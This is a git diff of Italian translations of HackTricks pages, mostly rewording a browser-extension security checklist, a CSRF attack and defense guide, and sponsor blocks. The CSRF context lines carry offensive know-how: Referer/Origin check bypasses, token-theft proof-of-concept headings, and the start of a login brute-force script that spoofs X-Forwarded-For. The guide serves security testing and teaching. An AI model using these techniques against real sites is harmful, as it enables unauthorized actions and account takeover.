Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**, alcune di esse potrebbero contenere **vulnerabilità** o **miglioramenti potenziali della sicurezza**. Ecco le più comuni:
|
||||||
|
|
||||||
* [ ] **Limitare** il più possibile le **`permissions`** richieste
|
* [ ] **Limitare** il più possibile le **`autorizzazioni`** richieste
|
||||||
* [ ] **Limitare** il più possibile le **`host_permissions`**
|
* [ ] **Limitare** il più possibile le **`host_permissions`**
|
||||||
* Utilizzare una **`content_security_policy`** **forte**
|
* Utilizzare una **`content_security_policy`** **forte**
|
||||||
* [ ] **Limitare** il più possibile il **`externally_connectable`**, se non è necessario e possibile, non lasciarlo per impostazione predefinita, specificare **`{}`**
|
* [ ] **Limitare** il più possibile gli **`externally_connectable`**, se non è necessario e possibile, non lasciarlo per impostazione predefinita, specificare **`{}`**
|
||||||
* Se un **URL vulnerabile a XSS o a takeover** è menzionato qui, un attaccante sarà in grado di **inviare messaggi direttamente agli script di background**. Molto potente bypass.
|
* Se un **URL vulnerabile a XSS o a takeover** è menzionato qui, un attaccante sarà in grado di **inviare messaggi direttamente agli script di background**. Molto potente bypass.
|
||||||
* [ ] **Limitare** il più possibile le **`web_accessible_resources`**, anche vuoto se possibile.
|
* [ ] **Limitare** il più possibile le **`web_accessible_resources`**, anche vuoto se possibile.
|
||||||
* Se **`web_accessible_resources`** non è nullo, controllare il [**ClickJacking**](browext-clickjacking.md)
|
* Se **`web_accessible_resources`** non è nullo, controllare il [**ClickJacking**](browext-clickjacking.md)
|
||||||
|
@ -562,27 +562,27 @@ Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**,
|
||||||
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
### [**Tarnish**](https://thehackerblog.com/tarnish/)
|
||||||
|
|
||||||
* Estrae qualsiasi estensione Chrome da un link fornito dal Chrome webstore.
|
* Estrae qualsiasi estensione Chrome da un link fornito dal Chrome webstore.
|
||||||
* **Visualizzatore manifest.json**: visualizza semplicemente una versione JSON formattata del manifesto dell'estensione.
|
* Visualizzatore di [**manifest.json**](https://developer.chrome.com/extensions/manifest): visualizza semplicemente una versione JSON-prettified del manifesto dell'estensione.
|
||||||
* **Analisi delle impronte digitali**: Rilevamento delle [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) e generazione automatica di JavaScript per l'impronta digitale dell'estensione Chrome.
|
* Analisi delle impronte digitali: Rilevamento di [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) e generazione automatica di JavaScript per l'impronta digitale dell'estensione Chrome.
|
||||||
* **Analisi potenziale Clickjacking**: Rilevamento delle pagine HTML dell'estensione con la direttiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) impostata. Queste sono potenzialmente vulnerabili al clickjacking a seconda dello scopo delle pagine.
|
* Analisi potenziale di Clickjacking: Rilevamento delle pagine HTML dell'estensione con la direttiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) impostata. Queste sono potenzialmente vulnerabili al clickjacking a seconda dello scopo delle pagine.
|
||||||
* **Visualizzatore Avvertimenti di Autorizzazione**: mostra un elenco di tutti gli avvisi di autorizzazione di Chrome che verranno visualizzati quando un utente cercherà di installare l'estensione.
|
* Visualizzatore di Avvisi di Autorizzazione: mostra un elenco di tutti gli avvisi di autorizzazione di Chrome che verranno visualizzati quando un utente cercherà di installare l'estensione.
|
||||||
* **Funzioni Pericolose**: mostra la posizione delle funzioni pericolose che potrebbero essere sfruttate da un attaccante (ad esempio funzioni come innerHTML, chrome.tabs.executeScript).
|
* Funzioni Pericolose: mostra la posizione delle funzioni pericolose che potrebbero essere sfruttate da un attaccante (ad esempio funzioni come innerHTML, chrome.tabs.executeScript).
|
||||||
* **Punti di Ingresso**: mostra dove l'estensione accetta input dell'utente/esterno. Questo è utile per comprendere l'area di superficie di un'estensione e cercare potenziali punti per inviare dati malevoli all'estensione.
|
* Punti di Ingresso: mostra dove l'estensione accetta input dell'utente/esterno. Questo è utile per comprendere l'area di superficie di un'estensione e cercare potenziali punti per inviare dati malevoli all'estensione.
|
||||||
* Sia i scanner delle Funzioni Pericolose che dei Punti di Ingresso hanno quanto segue per i loro avvisi generati:
|
* Sia le Funzioni Pericolose che gli Scanner dei Punti di Ingresso hanno quanto segue per i loro avvisi generati:
|
||||||
* Frammento di codice rilevante e linea che ha causato l'avviso.
|
* Frammento di codice rilevante e linea che ha causato l'avviso.
|
||||||
* Descrizione del problema.
|
* Descrizione del problema.
|
||||||
* Un pulsante "Visualizza File" per visualizzare il file sorgente completo contenente il codice.
|
* Un pulsante "Visualizza File" per visualizzare il file sorgente completo contenente il codice.
|
||||||
* Il percorso del file segnalato.
|
* Il percorso del file segnalato.
|
||||||
* L'URI completo dell'estensione Chrome del file segnalato.
|
* L'URI completo dell'estensione Chrome del file segnalato.
|
||||||
* Il tipo di file, come uno script di Pagina di Background, Script di Contenuto, Azione del Browser, ecc.
|
* Il tipo di file, come uno script di Pagina di Background, Script di Contenuto, Azione del Browser, ecc.
|
||||||
* Se la linea vulnerabile è in un file JavaScript, i percorsi di tutte le pagine in cui è inclusa nonché lo stato di [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) di queste pagine.
|
* Se la linea vulnerabile è in un file JavaScript, i percorsi di tutte le pagine in cui è inclusa così come lo stato di [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) di queste pagine.
|
||||||
* **Analizzatore e verificatore di bypass della Content Security Policy (CSP)**: Questo evidenzierà le debolezze nella CSP della tua estensione e illuminerà eventuali modi potenziali per aggirare la tua CSP a causa di CDN in whitelist, ecc.
|
* Analizzatore e verificatore di bypass della Politica di Sicurezza del Contenuto (CSP): Questo evidenzierà le debolezze nella CSP della tua estensione e illuminerà anche eventuali modi potenziali per bypassare la tua CSP a causa di CDN in whitelist, ecc.
|
||||||
* **Librerie Vulnerabili Conosciute**: Utilizza [Retire.js](https://retirejs.github.io/retire.js) per controllare l'uso di librerie JavaScript conosciute come vulnerabili.
|
* Librerie Vulnerabili Conosciute: Utilizza [Retire.js](https://retirejs.github.io/retire.js) per controllare l'uso di librerie JavaScript conosciute come vulnerabili.
|
||||||
* Scarica l'estensione e le versioni formattate.
|
* Scarica l'estensione e le versioni formattate.
|
||||||
* Scarica l'estensione originale.
|
* Scarica l'estensione originale.
|
||||||
* Scarica una versione formattata dell'estensione (HTML e JavaScript autoformattati).
|
* Scarica una versione abbellita dell'estensione (HTML e JavaScript auto-prettified).
|
||||||
* Cache automatica dei risultati della scansione, eseguire una scansione dell'estensione richiederà molto tempo la prima volta che la si esegue. Tuttavia, la seconda volta, assumendo che l'estensione non sia stata aggiornata, sarà quasi istantanea grazie alla cache dei risultati.
|
* Cache automatica dei risultati della scansione, eseguire una scansione dell'estensione richiederà molto tempo la prima volta che la si esegue. Tuttavia, la seconda volta, assumendo che l'estensione non sia stata aggiornata, sarà quasi istantanea grazie ai risultati memorizzati nella cache.
|
||||||
* URL di report collegabili, per collegare facilmente qualcun altro a un report sull'estensione generato da tarnish.
|
* URL di report collegabili, è facile collegare qualcun altro a un report sull'estensione generato da tarnish.
|
||||||
|
|
||||||
### [Neto](https://github.com/elevenpaths/neto)
|
### [Neto](https://github.com/elevenpaths/neto)
|
||||||
|
|
||||||
|
@ -608,7 +608,7 @@ Il progetto Neto è un pacchetto Python 3 concepito per analizzare e svelare fun
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||||
|
|
||||||
|
|
|
@ -8,7 +8,7 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
|
@ -27,7 +27,7 @@ Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notiz
|
||||||
**Ultime Annunci**\
|
**Ultime Annunci**\
|
||||||
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
|
||||||
|
|
||||||
## Spiegazione del Cross-Site Request Forgery (CSRF)
|
## Spiegazione del Cross-Site Request Forgery (CSRF)
|
||||||
|
|
||||||
|
@ -45,7 +45,7 @@ Per sfruttare una vulnerabilità CSRF, devono essere soddisfatte diverse condizi
|
||||||
|
|
||||||
Potresti **catturare la richiesta in Burp** e controllare le protezioni CSRF e per testare dal browser puoi fare clic su **Copia come fetch** e controllare la richiesta:
|
Potresti **catturare la richiesta in Burp** e controllare le protezioni CSRF e per testare dal browser puoi fare clic su **Copia come fetch** e controllare la richiesta:
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Difendersi dal CSRF
|
### Difendersi dal CSRF
|
||||||
|
|
||||||
|
@ -54,11 +54,11 @@ Diverse contromisure possono essere implementate per proteggersi dagli attacchi
|
||||||
* [**Cookie SameSite**](hacking-with-cookies/#samesite): Questo attributo impedisce al browser di inviare i cookie insieme alle richieste tra siti. [Maggiori informazioni sui cookie SameSite](hacking-with-cookies/#samesite).
|
* [**Cookie SameSite**](hacking-with-cookies/#samesite): Questo attributo impedisce al browser di inviare i cookie insieme alle richieste tra siti. [Maggiori informazioni sui cookie SameSite](hacking-with-cookies/#samesite).
|
||||||
* [**Condivisione delle risorse tra origini**](cors-bypass.md): La politica CORS del sito vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede la lettura della risposta dal sito vittima. [Scopri di più sul bypass CORS](cors-bypass.md).
|
* [**Condivisione delle risorse tra origini**](cors-bypass.md): La politica CORS del sito vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede la lettura della risposta dal sito vittima. [Scopri di più sul bypass CORS](cors-bypass.md).
|
||||||
* **Verifica dell'Utente**: Richiedere la password dell'utente o risolvere un captcha può confermare l'intento dell'utente.
|
* **Verifica dell'Utente**: Richiedere la password dell'utente o risolvere un captcha può confermare l'intento dell'utente.
|
||||||
* **Controllo degli Intestazioni Referrer o Origin**: La convalida di queste intestazioni può aiutare a garantire che le richieste provengano da fonti attendibili. Tuttavia, la creazione attenta di URL può eludere controlli implementati in modo non sicuro, come:
|
* **Controllo degli Intestazioni Referrer o Origin**: La convalida di queste intestazioni può aiutare a garantire che le richieste provengano da fonti attendibili. Tuttavia, la creazione attenta di URL può eludere controlli scarsamente implementati, come:
|
||||||
* Utilizzando `http://mal.net?orig=http://example.com` (l'URL termina con l'URL attendibile)
|
* Utilizzando `http://mal.net?orig=http://example.com` (URL termina con l'URL attendibile)
|
||||||
* Utilizzando `http://example.com.mal.net` (l'URL inizia con l'URL attendibile)
|
* Utilizzando `http://example.com.mal.net` (URL inizia con l'URL attendibile)
|
||||||
* **Modifica dei Nomi dei Parametri**: Modificare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
|
* **Modifica dei Nomi dei Parametri**: Modificare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
|
||||||
* **Token CSRF**: Incorporare un token CSRF univoco in ogni sessione e richiedere questo token nelle richieste successive può mitigare significativamente il rischio di CSRF. L'efficacia del token può essere migliorata imponendo CORS.
|
* **Token CSRF**: Incorporare un token CSRF univoco in ogni sessione e richiedere questo token nelle richieste successive può ridurre significativamente il rischio di CSRF. L'efficacia del token può essere migliorata imponendo CORS.
|
||||||
|
|
||||||
Comprendere e implementare queste difese è cruciale per mantenere la sicurezza e l'integrità delle applicazioni web.
|
Comprendere e implementare queste difese è cruciale per mantenere la sicurezza e l'integrità delle applicazioni web.
|
||||||
|
|
||||||
|
@ -86,7 +86,7 @@ Questa vulnerabilità consente agli attaccanti di effettuare richieste non autor
|
||||||
|
|
||||||
### Bypass del Metodo
|
### Bypass del Metodo
|
||||||
|
|
||||||
Se la richiesta utilizza un "**metodo**" **"strano"**, controlla se la **funzionalità di override del metodo** funziona. Ad esempio, se sta **usando un metodo PUT** puoi provare a **usare un metodo POST** e **inviare**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
Se la richiesta sta utilizzando un "**metodo**" **"strano"**, controlla se la **funzionalità di override del metodo** funziona. Ad esempio, se sta **usando un metodo PUT** puoi provare a **usare un metodo POST** e **inviare**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||||
|
|
||||||
Questo potrebbe funzionare anche inviando il **parametro \_method all'interno di una richiesta POST** o utilizzando gli **intestazioni**:
|
Questo potrebbe funzionare anche inviando il **parametro \_method all'interno di una richiesta POST** o utilizzando gli **intestazioni**:
|
||||||
|
|
||||||
|
@ -96,7 +96,7 @@ Questo potrebbe funzionare anche inviando il **parametro \_method all'interno di
|
||||||
|
|
||||||
### Bypass del Token dell'Intestazione Personalizzata
|
### Bypass del Token dell'Intestazione Personalizzata
|
||||||
|
|
||||||
Se la richiesta aggiunge un **intestazione personalizzata** con un **token** alla richiesta come **metodo di protezione CSRF**, allora:
|
Se la richiesta sta aggiungendo un **intestazione personalizzata** con un **token** alla richiesta come **metodo di protezione CSRF**, allora:
|
||||||
|
|
||||||
* Testa la richiesta senza il **Token Personalizzato e anche l'intestazione.**
|
* Testa la richiesta senza il **Token Personalizzato e anche l'intestazione.**
|
||||||
* Testa la richiesta con la **stessa lunghezza ma con token diverso**.
|
* Testa la richiesta con la **stessa lunghezza ma con token diverso**.
|
||||||
|
@ -129,7 +129,7 @@ Si noti che se il **token csrf è correlato al cookie di sessione questo attacco
|
||||||
|
|
||||||
### Cambio del tipo di contenuto
|
### Cambio del tipo di contenuto
|
||||||
|
|
||||||
Secondo [**questo**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), per **evitare le richieste di preflight** utilizzando il metodo **POST** questi sono i valori di Content-Type consentiti:
|
Secondo [**questo**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), per **evitare le richieste di preflight** utilizzando il metodo **POST** questi sono i valori Content-Type consentiti:
|
||||||
|
|
||||||
* **`application/x-www-form-urlencoded`**
|
* **`application/x-www-form-urlencoded`**
|
||||||
* **`multipart/form-data`**
|
* **`multipart/form-data`**
|
||||||
|
@ -155,7 +155,7 @@ form.submit();
|
||||||
Quando si tenta di inviare dati JSON tramite una richiesta POST, utilizzare il `Content-Type: application/json` in un modulo HTML non è direttamente possibile. Allo stesso modo, utilizzare `XMLHttpRequest` per inviare questo tipo di contenuto avvia una richiesta di preflight. Tuttavia, ci sono strategie per potenzialmente eludere questa limitazione e verificare se il server elabora i dati JSON indipendentemente dal Content-Type:
|
Quando si tenta di inviare dati JSON tramite una richiesta POST, utilizzare il `Content-Type: application/json` in un modulo HTML non è direttamente possibile. Allo stesso modo, utilizzare `XMLHttpRequest` per inviare questo tipo di contenuto avvia una richiesta di preflight. Tuttavia, ci sono strategie per potenzialmente eludere questa limitazione e verificare se il server elabora i dati JSON indipendentemente dal Content-Type:
|
||||||
|
|
||||||
1. **Utilizzare Tipi di Contenuto Alternativi**: Utilizzare `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` impostando `enctype="text/plain"` nel modulo. Questo approccio verifica se il backend utilizza i dati indipendentemente dal Content-Type.
|
1. **Utilizzare Tipi di Contenuto Alternativi**: Utilizzare `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` impostando `enctype="text/plain"` nel modulo. Questo approccio verifica se il backend utilizza i dati indipendentemente dal Content-Type.
|
||||||
2. **Modificare il Tipo di Contenuto**: Per evitare una richiesta di preflight pur garantendo che il server riconosca il contenuto come JSON, è possibile inviare i dati con `Content-Type: text/plain; application/json`. Questo non attiva una richiesta di preflight ma potrebbe essere elaborato correttamente dal server se configurato per accettare `application/json`.
|
2. **Modificare il Tipo di Contenuto**: Per evitare una richiesta di preflight garantendo che il server riconosca il contenuto come JSON, è possibile inviare i dati con `Content-Type: text/plain; application/json`. Questo non attiva una richiesta di preflight ma potrebbe essere elaborato correttamente dal server se configurato per accettare `application/json`.
|
||||||
3. **Utilizzo di File Flash SWF**: Un metodo meno comune ma fattibile coinvolge l'utilizzo di un file flash SWF per eludere tali restrizioni. Per una comprensione approfondita di questa tecnica, fare riferimento a [questo post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
3. **Utilizzo di File Flash SWF**: Un metodo meno comune ma fattibile coinvolge l'utilizzo di un file flash SWF per eludere tali restrizioni. Per una comprensione approfondita di questa tecnica, fare riferimento a [questo post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||||
|
|
||||||
### Elusione del controllo Referrer / Origin
|
### Elusione del controllo Referrer / Origin
|
||||||
|
@ -166,7 +166,7 @@ Le applicazioni possono convalidare l'header 'Referer' solo quando è presente.
|
||||||
```xml
|
```xml
|
||||||
<meta name="referrer" content="never">
|
<meta name="referrer" content="never">
|
||||||
```
|
```
|
||||||
Questo assicura che l'intestazione 'Referer' venga omessa, potenzialmente eludendo i controlli di convalida in alcune applicazioni.
|
Questo assicura che l'intestazione 'Referer' venga omessa, potenzialmente eludendo controlli di convalida in alcune applicazioni.
|
||||||
|
|
||||||
**Bypass delle espressioni regolari**
|
**Bypass delle espressioni regolari**
|
||||||
|
|
||||||
|
@ -174,7 +174,7 @@ Questo assicura che l'intestazione 'Referer' venga omessa, potenzialmente eluden
|
||||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Per impostare il nome di dominio del server nell'URL che il Referrer invierà all'interno dei parametri, è possibile fare quanto segue:
|
Per impostare il nome di dominio del server nell'URL che il Referrer invierà all'interno dei parametri, è possibile fare così:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||||
|
@ -248,7 +248,7 @@ document.forms[0].submit();
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
### Richiesta di invio del modulo
|
### Richiesta di invio del modulo (Form POST request)
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<body>
|
<body>
|
||||||
|
@ -445,7 +445,7 @@ document.forms[0].submit.click();
|
||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
### **Rubare il token e inviarlo utilizzando 2 iframe**
|
### **Rubare il token e inviarlo usando 2 iframe**
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
var token;
|
var token;
|
||||||
|
@ -475,7 +475,7 @@ height="600" width="800"></iframe>
|
||||||
<button type="submit">Submit</button>
|
<button type="submit">Submit</button>
|
||||||
</form>
|
</form>
|
||||||
```
|
```
|
||||||
### **Rubare il token CSRF con Ajax e inviare un post con un modulo**
|
### **POSTRubare il token CSRF con Ajax e inviare un post con un modulo**
|
||||||
```html
|
```html
|
||||||
<body onload="getData()">
|
<body onload="getData()">
|
||||||
|
|
||||||
|
@ -525,7 +525,7 @@ room: username
|
||||||
```
|
```
|
||||||
## CSRF Login Brute Force
|
## CSRF Login Brute Force
|
||||||
|
|
||||||
Il codice può essere utilizzato per forzare una login form utilizzando un token CSRF (utilizza anche l'intestazione X-Forwarded-For per cercare di aggirare un eventuale blocco dell'IP):
|
Il codice può essere utilizzato per forzare un login tramite un token CSRF (utilizza anche l'intestazione X-Forwarded-For per cercare di aggirare un eventuale blocco dell'IP):
|
||||||
```python
|
```python
|
||||||
import request
|
import request
|
||||||
import re
|
import re
|
||||||
|
@ -591,7 +591,7 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
|
||||||
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
|
||||||
|
|
||||||
**Notizie sull'Hacking in Tempo Reale**\
|
**Notizie sull'Hacking in Tempo Reale**\
|
||||||
Resta aggiornato sul mondo dell'hacking ad alta velocità attraverso notizie e approfondimenti in tempo reale
|
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultime Annunci**\
|
**Ultime Annunci**\
|
||||||
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
||||||
|
@ -604,10 +604,10 @@ Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali d
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,21 +2,21 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
Se sei interessato alla **carriera di hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -33,13 +33,13 @@ Altre estensioni utili:
|
||||||
* **Perl**: _.pl, .cgi_
|
* **Perl**: _.pl, .cgi_
|
||||||
* **Erlang Yaws Web Server**: _.yaws_
|
